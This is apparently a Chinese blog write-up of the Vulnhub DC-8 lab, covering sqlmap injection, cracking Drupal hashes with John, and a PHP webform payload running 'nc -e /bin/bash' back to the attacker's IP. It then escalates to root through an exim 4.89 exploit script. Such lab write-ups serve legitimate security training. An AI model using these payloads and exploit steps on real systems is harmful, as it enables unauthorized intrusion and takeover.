DC-8-Drupal-exim4提权

Vulnhub简介

Vulnhub是一个提供了很多漏洞环境的靶场平台,其中的环境基本上都是做好的虚拟机镜像文件,需要使用VMware或者是VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚拟机到获取操作系统的root权限和查看flag。

靶场部署

Vulnhub官网https://www.vulnhub.com
下载地址https://www.vulnhub.com/entry/dc-8,367/

  1. 直接从官网下载做好的虚拟机镜像文件(我下载的Mirror版本);
  2. 解压会得到一个.ova的文件,然后在VMware中打开即可;

信息收集

nmap 192.168.75.0/24 
nmap -A -sV -p- -T4 192.168.75.160
-A 代表综合性扫描,能收集到很多重要信息
-sV 代表扫描主要的服务信息
-p- 扫描全部端口

image.png
image.png
扫描到靶机开放了22和80端口,使用的是Drupal(版本是7.x)的cms,还有一个robots协议
目录扫描(我使用的是dirsearch工具),扫描到一个登录界面
image.png

SQL注入

既然扫描到了80端口,那就直接访问一下
点击左侧的Details
image.png
发现一处可能存在数据交互的地方,参数nid
添加单引号报错
sqlmap一把梭
image.png

# 查数据库:d7db
sqlmap -u "http://192.168.75.160/?nid=1" --dbs --batch  

#查表:users
sqlmap -u "http://192.168.75.160/?nid=1" -D d7db -tables --batch

#查表数据
sqlmap -u "http://192.168.75.160/?nid=1" -D d7db -T users --dump

image.png
image.png
image.png

密码破解

admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z 
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

密码密文得到了,但是却不知道怎么破解呀!john这个用户名看起来似乎有点眼熟,记起来john是一个密码破解的工具
那就应该是要用john工具来爆破密码了
将得到的账户名和密码放到文本文件中

image.png

得到john用户的密码为turtle
admin用户的密码破解失败

反弹shell

使用得到的账户名和密码登录后台
image.png
发现Content->点击edit->点击WEBFORM->点击Form settings->点击下拉框选择PHP code
image.png

<p>Thanks for taking the time to contact us. We shall be in contact soon.</p>
<?php
system("nc -e /bin/bash 192.168.75.150 4444")
?>

image.png
其中必须要有能显示的文字才能执行php代码
因为该内容是在用户提交数据后显示的内容,如果没有能显示的内容,则这一部分内容将不会被引用,那么代码也就不会执行
Kali监听4444端口,在Contact Us页面随便输入信息点击Submit后,查看Kali已得到shell
image.png
image.png

提权

python -c "import pty;pty.spawn('/bin/bash')"

image.png
使用命令查看是否有suid提权的命令

find / -user root -perm -4000 -print 2>/dev/null

image.png
exim是一款在Unix系统上使用的邮件服务,exim4在使用时具有root权限
查看其版本,发现是4.89

/usr/sbin/exim4 --version

image.png
使用searchsploit来寻找版本漏洞

searchsploit exim 4

image.png
然后把46996.sh拷贝到本地并改名为wi11.sh,并在kali开启http服务 service apache2 start

cp /usr/share/exploitdb/exploits/linux/local/46996.sh wi11.sh
cat wi11.sh
cp wi11.sh  /var/www/html

需要进入/tmp 路径下(不然没有权限,无法下载)
然后给权限:chmod 777 wi11.sh
image.png

./wi11.sh -m netcat #执行脚本

提权失败
原因是:shell.sh文件的格式为dos格式,linux只能执行格式为unix格式的脚本。
使用set ff=unix : 告诉 vim 编辑器,使用unix换行符,不然会无法执行脚本。
所以修改一下攻击机目录下的shell脚本,在脚本最后加上 :set ff=unix
然后在靶机中重新下载脚本,赋予权限,执行脚本,提权成功,得到最终的flag!
image.png
image.png
可以多尝试几次,虽然成功了,但是很不稳定,过了一会就又变成www-data
可以趁root权限的时候用nc反弹shell维持稳定

posted @ 2024-05-04 21:58  NoCirc1e  阅读(11)  评论(0编辑  收藏  举报